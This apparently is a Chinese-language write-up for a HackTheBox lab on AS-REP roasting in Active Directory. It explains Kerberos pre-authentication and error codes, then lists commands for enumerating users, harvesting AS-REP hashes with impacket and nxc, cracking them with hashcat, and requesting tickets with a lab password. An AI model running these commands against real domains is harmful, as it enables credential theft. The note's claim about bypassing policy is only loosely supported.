0x00 账户限制绕过方法
0x02 Kerberos 认证与 ASREP Roast 原理
1. NTLM vs Kerberos 的账户限制差异
AD 中可以给账户施加多种限制(禁用、锁定、登录时段、登录工作站限制等),但不同认证协议对这些限制的处理方式不同:
| 限制类型 | NTLM 表现 | Kerberos 表现 |
|---|---|---|
账户禁用 (ACCOUNTDISABLE) | STATUS_ACCOUNT_DISABLED | KRB5KDC_ERR_CLIENT_REVOKED |
账户锁定 (LOCKOUT) | STATUS_ACCOUNT_LOCKED_OUT | KRB5KDC_ERR_CLIENT_REVOKED |
登录时间限制 (Logon Hours) | STATUS_ACCOUNT_RESTRICTION | KRB5KDC_ERR_ATTRIBUTE / 52f (LDAP) |
| 登录工作站限制 | STATUS_ACCOUNT_RESTRICTION | 同上 |
| 密码过期 | STATUS_PASSWORD_MUST_CHANGE | KRB5KDC_ERR_KEY_EXPIRED |
| 未启用预认证 | 无影响 | AS-REP 可直接获取 |
1.1 关键结论
- NTLM 和 Kerberos 都会受账户策略限制
- 但 Kerberos 有一个例外:当账户开启了”不要求 Kerberos 预认证”(
DONT_REQ_PREAUTH) 时,AS-REP 阶段可以绕过密码验证
2. Kerberos 预认证机制
2.1 正常认证流程(AS-REQ + AS-REP)
[1] AS-REQ ─────── 客户端 → KDC
客户端用自己的 NTLM hash 加密时间戳发送(预认证数据 PA-ENC-TIMESTAMP)
[2] KDC 校验预认证数据
用该用户的 hash 解密时间戳 → 检查是否在 5 分钟内
如果解密成功 → 用户确实知道密码
[3] KDC 检查账户策略
账号禁用?→ 拒绝
登录时段?→ 拒绝
...
[4] AS-REP ─────── KDC → 客户端
返回 TGT(用用户 hash 加密)
客户端用自己的 hash 解密 TGT 拿到会话密钥
2.2 无需预认证(ASREP Roast)
[1] AS-REQ ─────── 客户端 → KDC
不携带预认证数据(PA-PAC-REQUEST ≠ PA-ENC-TIMESTAMP)
[2] KDC 检查账户属性
如果 DONT_REQ_PREAUTH 未设置 → 返回 KDC_ERR_PREAUTH_REQUIRED
如果 DONT_REQ_PREAUTH 已设置 → ✅ 直接返回 AS-REP
[3] AS-REP ─────── KDC → 客户端
返回 TGT(用用户 hash 加密)
[4] 攻击者拿到加密后的 TGT
无需知道密码 → 离线爆破 TGT 中的加密数据
2.3 为什么能绕过账户限制
| 正常路径 | ASREP Roast 路径 |
|---|---|
| 客户端发 AS-REQ + 预认证 | 客户端发 AS-REQ(无预认证) |
| KDC 检查预认证 → 通过 | KDC 跳过预认证检查 |
| KDC 检查账户策略 → 受限 → 拒绝 | KDC 检查 DONT_REQ_PREAUTH → ✅ |
| 流程到此结束 | KDC 直接返回 TGT |
| ✗ 拿不到任何东西 | ✓ 拿到加密 TGT(可离线爆破) |
本质:一旦用户设置了不要求预认证,KDC 会在检查其他策略之前先满足 AS-REQ 并返回 TGT。这是协议设计层面的”后门”。
3. 限制在不同阶段的表现
3.1 NTLM 认证
# 1. SMB 登录检测 — NTLM 路径
nxc smb absolute.htb -u D.Klay -p 'Darkmoonsky248girl'
# 结果:STATUS_ACCOUNT_RESTRICTION
# 说明:NTLM 成功验证了密码,但在授权阶段被卡
3.2 Kerberos – GetUserSPNs (需要预认证)
# 2. Kerberos SPN 查询 — 需要预认证
impacket-GetUserSPNs absolute.htb/D.Klay:'Darkmoonsky248girl' -dc-ip 10.129.232.60
# 结果:data 52f (LdapErr: AcceptSecurityContext error)
# 说明:LDAP 绑定阶段就拒绝了,因为预认证无法通过
3.3 Kerberos – GetNPUsers (ASREP Roast)
# 3. ASREP Roast — 不需要预认证 ✅
impacket-GetNPUsers absolute.htb/D.Klay -no-pass -dc-ip 10.129.232.60
# 结果:成功拿到 TGT hash
# 说明:绕过了预认证 → 绕过了账户策略检查
4. 错误码速查
| Kerberos 错误码 | 含义 | 常见原因 |
|---|---|---|
KDC_ERR_PREAUTH_REQUIRED | 需要预认证 | 普通账户无 DONT_REQ_PREAUTH |
KRB5KDC_ERR_ATTRIBUTE | 属性错误 | 账户有登录限制 |
KRB5KDC_ERR_CLIENT_REVOKED | 客户端被撤销 | 账号禁用/锁定 |
KRB5KDC_ERR_KEY_EXPIRED | 密钥过期 | 密码过期 |
data 52f (ImpDef/LDAP) | 绑定拒绝 | 账户受限(同 Kerberos ATTRIBUTE) |
5. 完整的逻辑链
┌─────────────────────────────────────────────────────┐
│ D.Klay 账户属性 │
├─────────────────────────────────────────────────────┤
│ ✔ DONT_REQ_PREAUTH = True (不要求预认证) │
│ ❌ 其他登录限制: True (登录受限) │
│ ✔ 密码: Darkmoonsky248girl(已知有效) │
└──────────────────────────┬──────────────────────────┘
│
┌──────────────┼──────────────┐
▼ ▼ ▼
NTLM 登录 Kerberos 登录 ASREP Roast
STATUS_ACCOUNT data 52f ✅ 拿到 TGT hash
_RESTRICTION 被拦 离线爆破密码
6. 实操命令参考
枚举目标用户
# 列出域用户
nxc smb <dc-ip> -u <user> -p <pass> --users
# LDAP 查询
ldapsearch -x -H ldap://<dc-ip> -D "cn=<user>,cn=Users,dc=<domain>,dc=<tld>" -w <pass> -b "dc=<domain>,dc=<tld>"
ASREP Roast
# 单个用户
impacket-GetNPUsers <domain>/<user> -no-pass -dc-ip <dc-ip>
# 基于用户列表
impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip <dc-ip> -format hashcat
# 枚举所有可能用户
nxc ldap <dc-ip> -u <user> -p <pass> --asreproast output.txt
爆破
hashcat -m 18200 hash.txt rockyou.txt
7. krb5.conf 配置参考
Kerberos 客户端工具(nxc、impacket、ldapsearch 等)依赖 /etc/krb5.conf 配置来定位 KDC 和 Realm。
7.1 标准模版
# /etc/krb5.conf
[libdefaults]
default_realm = ABSOLUTE.HTB dns_lookup_kdc = true dns_lookup_realm = false ticket_lifetime = 24h forwardable = true udp_preference_limit = 0 # 禁用 UDP,仅用 TCP(更稳定)
[realms]
ABSOLUTE.HTB = { kdc = dc.absolute.htb admin_server = dc.absolute.htb }
[domain_realm]
.absolute.htb = ABSOLUTE.HTB absolute.htb = ABSOLUTE.HTB
7.2 字段说明
| 字段 | 作用 | 备注 |
|---|---|---|
default_realm | 默认 Realm 名称 | 全大写域名 |
dns_lookup_kdc | 通过 DNS SRV 记录自动发现 KDC | 如果 DC 没有 SRV 记录,改为 false 手动指定 |
kdc | KDC 服务器地址 | 可用 IP 或域名 |
admin_server | Kerberos 管理服务地址 | 通常同 KDC |
udp_preference_limit = 0 | 强制走 TCP | 避免大包被 UDP 截断导致 KRB_ERR_RESPONSE_TOO_BIG |
7.3 HTB 靶机常见问题排查
# 1. 检查 hosts 解析
nslookup dc.absolute.htb 10.129.232.60
# 或
dig @10.129.232.60 dc.absolute.htb
# 2. 如果 DNS 没有 SRV 记录,手动写 hosts
echo "10.129.232.60 dc.absolute.htb absolute.htb" | sudo tee -a /etc/hosts
# 3. 时间同步(Kerberos 时间窗口 5 分钟)
sudo ntpdate 10.129.232.60
# 或
sudo timedatectl set-ntp off && sudo ntpdate -b 10.129.232.60
# 4. 验证配置
erbklist # 查看当前票据缓存(空 = 正常)
kinit D.Klay@ABSOLUTE.HTB # 测试能否申请 TGT
7.4 使用票据认证的完整流程
# 1. 配置 krb5.conf
# 2. 获取 TGT
impacket-getTGT absolute.htb/D.Klay:'Darkmoonsky248girl' -dc-ip 10.129.232.60
# 3. 导出票据缓存
# getTGT 会生成 D.Klay.ccache
# 也可以用 kinit 生成默认缓存
kinit D.Klay@ABSOLUTE.HTB <<< 'Darkmoonsky248girl'
# 4. 使用票据
# 方式 A:指定 ccache 文件
export KRB5CCNAME=./D.Klay.ccache
nxc smb dc.absolute.htb -k --shares
# 方式 B:使用默认缓存(/tmp/krb5cc_*)
kinit D.Klay@ABSOLUTE.HTB
nxc smb dc.absolute.htb -k --shares
评论